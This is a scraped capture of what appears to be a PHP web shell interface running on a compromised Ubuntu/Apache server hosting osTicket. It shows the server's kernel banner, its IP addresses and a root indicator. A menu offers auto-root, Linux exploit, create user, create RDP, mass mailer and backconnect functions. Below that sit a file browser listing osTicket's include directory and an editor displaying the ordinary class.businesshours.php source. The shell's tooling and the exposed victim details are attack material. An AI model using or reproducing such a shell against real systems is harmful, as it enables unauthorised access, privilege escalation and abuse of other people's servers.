Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
osticket /
upload /
include /
[ HOME SHELL ]
Name
Size
Permission
Action
cli
[ DIR ]
drwxr-xr-x
client
[ DIR ]
drwxr-xr-x
config
[ DIR ]
drwxr-xr-x
fpdf
[ DIR ]
drwxr-xr-x
i18n
[ DIR ]
drwxr-xr-x
mpdf
[ DIR ]
drwxr-xr-x
pear
[ DIR ]
drwxr-xr-x
plugins
[ DIR ]
drwxr-xr-x
staff
[ DIR ]
drwxr-xr-x
upgrader
[ DIR ]
drwxr-xr-x
.MANIFEST
163.74
KB
-rw-r--r--
.htaccess
14
B
-rw-r--r--
JSON.php
33.13
KB
-rw-r--r--
PasswordHash.php
6.92
KB
-rw-r--r--
Spyc.php
31.73
KB
-rw-r--r--
UniversalClassLoader.php
8.61
KB
-rw-r--r--
ajax.admin.php
7.21
KB
-rw-r--r--
ajax.config.php
4.55
KB
-rw-r--r--
ajax.content.php
9.47
KB
-rw-r--r--
ajax.draft.php
12.72
KB
-rw-r--r--
ajax.export.php
1006
B
-rw-r--r--
ajax.filter.php
874
B
-rw-r--r--
ajax.forms.php
13.3
KB
-rw-r--r--
ajax.i18n.php
4.91
KB
-rw-r--r--
ajax.kbase.php
2.93
KB
-rw-r--r--
ajax.note.php
2.05
KB
-rw-r--r--
ajax.orgs.php
11.7
KB
-rw-r--r--
ajax.schedule.php
4.29
KB
-rw-r--r--
ajax.search.php
12.35
KB
-rw-r--r--
ajax.sequence.php
3.2
KB
-rw-r--r--
ajax.staff.php
7.84
KB
-rw-r--r--
ajax.tasks.php
30.25
KB
-rw-r--r--
ajax.thread.php
8.89
KB
-rw-r--r--
ajax.tickets.php
74
KB
-rw-r--r--
ajax.tips.php
1.66
KB
-rw-r--r--
ajax.upgrader.php
2.24
KB
-rw-r--r--
ajax.users.php
17.8
KB
-rw-r--r--
api.cron.php
909
B
-rw-r--r--
api.tickets.php
8.26
KB
-rw-r--r--
class.ajax.php
1.42
KB
-rw-r--r--
class.api.php
13.14
KB
-rw-r--r--
class.app.php
1.47
KB
-rw-r--r--
class.attachment.php
6.87
KB
-rw-r--r--
class.auth.php
43.91
KB
-rw-r--r--
class.avatar.php
6.43
KB
-rw-r--r--
class.banlist.php
2.54
KB
-rw-r--r--
class.base32.php
4.06
KB
-rw-r--r--
class.businesshours.php
6.72
KB
-rw-r--r--
class.canned.php
8.58
KB
-rw-r--r--
class.captcha.php
1.73
KB
-rw-r--r--
class.category.php
11.04
KB
-rw-r--r--
class.charset.php
3.4
KB
-rw-r--r--
class.cli.php
9.48
KB
-rw-r--r--
class.client.php
15.02
KB
-rw-r--r--
class.collaborator.php
5.44
KB
-rw-r--r--
class.company.php
2.65
KB
-rw-r--r--
class.config.php
58.51
KB
-rw-r--r--
class.cron.php
3.54
KB
-rw-r--r--
class.crypto.php
18.96
KB
-rw-r--r--
class.csrf.php
2.36
KB
-rw-r--r--
class.dept.php
32.39
KB
-rw-r--r--
class.dispatcher.php
6.72
KB
-rw-r--r--
class.draft.php
6.25
KB
-rw-r--r--
class.dynamic_forms.php
62.12
KB
-rw-r--r--
class.email.php
18.09
KB
-rw-r--r--
class.error.php
1.69
KB
-rw-r--r--
class.export.php
31.8
KB
-rw-r--r--
class.faq.php
15.05
KB
-rw-r--r--
class.file.php
32.41
KB
-rw-r--r--
class.filter.php
27.75
KB
-rw-r--r--
class.filter_action.php
20.27
KB
-rw-r--r--
class.format.php
40.68
KB
-rw-r--r--
class.forms.php
183.13
KB
-rw-r--r--
class.http.php
5.52
KB
-rw-r--r--
class.i18n.php
24.2
KB
-rw-r--r--
class.import.php
6.44
KB
-rw-r--r--
class.json.php
2.69
KB
-rw-r--r--
class.knowledgebase.php
5.8
KB
-rw-r--r--
class.list.php
41.85
KB
-rw-r--r--
class.lock.php
4.05
KB
-rw-r--r--
class.log.php
1.54
KB
-rw-r--r--
class.mailer.php
24.05
KB
-rw-r--r--
class.mailfetch.php
37.24
KB
-rw-r--r--
class.mailparse.php
26.7
KB
-rw-r--r--
class.message.php
6.4
KB
-rw-r--r--
class.migrater.php
5.2
KB
-rw-r--r--
class.misc.php
8.15
KB
-rw-r--r--
class.model.php
2.3
KB
-rw-r--r--
class.nav.php
14.14
KB
-rw-r--r--
class.note.php
2.39
KB
-rw-r--r--
class.organization.php
22.44
KB
-rw-r--r--
class.orm.php
119.54
KB
-rw-r--r--
class.osticket.php
18.8
KB
-rw-r--r--
class.ostsession.php
9.82
KB
-rw-r--r--
class.page.php
10.65
KB
-rw-r--r--
class.pagenate.php
5.13
KB
-rw-r--r--
class.passwd.php
1.19
KB
-rw-r--r--
class.pdf.php
3.62
KB
-rw-r--r--
class.plugin.php
23.89
KB
-rw-r--r--
class.priority.php
1.81
KB
-rw-r--r--
class.queue.php
102.01
KB
-rw-r--r--
class.report.php
11.47
KB
-rw-r--r--
class.role.php
11.12
KB
-rw-r--r--
class.schedule.php
46.03
KB
-rw-r--r--
class.search.php
56.26
KB
-rw-r--r--
class.sequence.php
7.27
KB
-rw-r--r--
class.setup.php
3.55
KB
-rw-r--r--
class.signal.php
4.16
KB
-rw-r--r--
class.sla.php
8.64
KB
-rw-r--r--
class.staff.php
52.41
KB
-rw-r--r--
class.task.php
49.97
KB
-rw-r--r--
class.team.php
12.01
KB
-rw-r--r--
class.template.php
23.33
KB
-rw-r--r--
class.thread.php
107.11
KB
-rw-r--r--
class.thread_actions.php
17.08
KB
-rw-r--r--
class.ticket.php
162.72
KB
-rw-r--r--
class.timezone.php
21.94
KB
-rw-r--r--
class.topic.php
19.07
KB
-rw-r--r--
class.translation.php
34.38
KB
-rw-r--r--
class.upgrader.php
13.54
KB
-rw-r--r--
class.user.php
42.45
KB
-rw-r--r--
class.usersession.php
4.99
KB
-rw-r--r--
class.util.php
8.01
KB
-rw-r--r--
class.validator.php
12.05
KB
-rw-r--r--
class.variable.php
11.93
KB
-rw-r--r--
class.xml.php
3.23
KB
-rw-r--r--
class.yaml.php
1.16
KB
-rw-r--r--
htmLawed.php
53.53
KB
-rw-r--r--
html2text.php
33.63
KB
-rw-r--r--
index.php
37
B
-rw-r--r--
mysqli.php
8.55
KB
-rw-r--r--
ost-config.php
5.61
KB
-rw-r--r--
ost-sampleconfig.php
5.62
KB
-rw-r--r--
tnef_decoder.php
19.82
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : class.businesshours.php
<?php /********************************************************************* class.businesshours.php Peter Rotich <peter@osticket.com> Copyright (c) 2019 osTicket http://www.osticket.com Released under the GNU General Public License WITHOUT ANY WARRANTY. See LICENSE.TXT for details. vim: expandtab sw=4 ts=4 sts=4: **********************************************************************/ include_once INCLUDE_DIR.'class.schedule.php'; /* * BusinessHours utility class * */ class BusinessHours { // Schedule protected $schedule; // Options protected $options; // Occurrence buckets protected $workhours; protected $holidays; // Timeline log protected $timeline; function __construct(BusinessHoursSchedule $schedule, $options=array()) { $this->schedule = $schedule; $this->options = $options; } function __onload() { $this->workhours = array(); $this->holidays = array(); $this->timeline = array(); } public function getSchedule() { return $this->schedule; } // Intitialize occurrenses buckets private function initOccurrences(Datetime $date) { $dt = clone $date; // Start from next day if current date is already processed if ($this->workhours[$dt->format('Y-m-d')]) $dt->modify('+1 day'); // Reset occurrense buckets $this->workhours = $this->holidays = array(); // Init workhours foreach ($this->getSchedule()->getEntries() as $entry) $this->workhours += $entry->getOccurrences($dt, null, 4); ksort($this->workhours); // Init holidays taking into account end date of the workhours in // the current scope. $enddate = array_pop(array_keys($this->workhours)); foreach ($this->getSchedule()->getHolidaysSchedules() as $schedule) { foreach ($schedule->getEntries() as $entry) $this->holidays += $entry->getOccurrences($dt, $enddate, 5); } ksort($this->holidays); // Return number of work hours occurrences return count($this->workhours); } // Add requesed Working Hours to a given date in accordance to schedule public function addWorkingHours(Datetime $date, $hours, &$auditlog=array()) { // We ain't doing shit without hours if (!$hours || !is_numeric($hours)) return $date; // If the schedule has no entries then return false - indicating an // error to the caller if (!$this->getSchedule()->getNumEntries()) return false; // Set timezone to schedule's one $date->setTimezone($this->getSchedule()->getDatetimeZone()); $this->timeline(sprintf('*** Add %d Working Hours to %s ***', $hours, $date->format('Y-m-d H:i:s'))); $seconds = $hours*3600; // Requested hours in seconds $_seconds = 0; // Bucker to collect working hours in seconds while ($_seconds < $seconds) { // Initialize occurrences of schedule entries from this date. if (!$this->initOccurrences($date)) break; // Loop thro' business hours while accounting for requested // working hours foreach ($this->workhours as $d => $e) { $partial = false; // Handle edge case where we're starting with a date that // might or not be within Schedule Entry hours. if ($d == $date->format('Y-m-d')) { // If it's after hours then continue to the next working // day if ($e->isAfterHours($date)) continue; // If we're already into the day then we need to do // partial / remaining hours if (!$e->isBeforeHours($date)) $partial = true; } // Handle holidays - if within scope of current work day $leadtime =0; if (($holiday=$this->holidays[$d])) { $this->timeline(sprintf('%s -> Skip %f Holiday Hours from %s [%s]', $d, $holiday->getHours(), $holiday->getSchedule()->getName(), $holiday->getDesc())); // If the holiday is a full day then assume the day is a goner if ($holiday->isFullDay()) continue; //Move the date to end of the partial day of the holiday $date->modify("$d ".$holiday->getEndsTime()); $partial = true; // See if we need to recover any time prior to start of // holiday e.g if the day starts at 8am but the holiday // starts at 10am. Not typical but I foresee people // using holiday concept to account for lunch hours. $hstarts = strtotime($holiday->getStartsTime()); $dstarts = strtotime($e->getStartsTime()); if ($hstarts > $dstarts) $leadtime = $hstarts-$dstarts; } // Add time to the bucket. $time = $partial ? ($e->diffTime($date) + $leadtime) : $e->diff(); $_seconds += $time; // Advance the date to end of this business day $date->modify("$d ".$e->getEndsTime()); $this->timeline(sprintf('%s -> Apply %f Working Hours from %s - %s (%d)', $d, $time/3600, $e->getName(), $date->format('Y-m-d H:i:s'), ($_seconds/3600))); // Back track if the quota is met and break out of the loop. if ($_seconds > $seconds) { // TODO: Guard aganist backtracking to non working // hours. $time = round(($_seconds-$seconds)); $interval = new DateInterval('PT'.$time.'S'); $date->sub($interval); $this->timeline(sprintf('%s -> Backtrack %f Hours %s (%s)', $d, ($time)/3600, $date->format('Y-m-d H:i:s'), ($seconds/3600))); break; } } } $this->timeline(sprintf('*** Final Datetime %s ***', $date->format('Y-m-d H:i:s'))); return $date; } // Log of the timeline for audit purposes private function timeline($log) { $this->timeline[] = $log; } public function getTimeline() { return $this->timeline; } } ?>
Close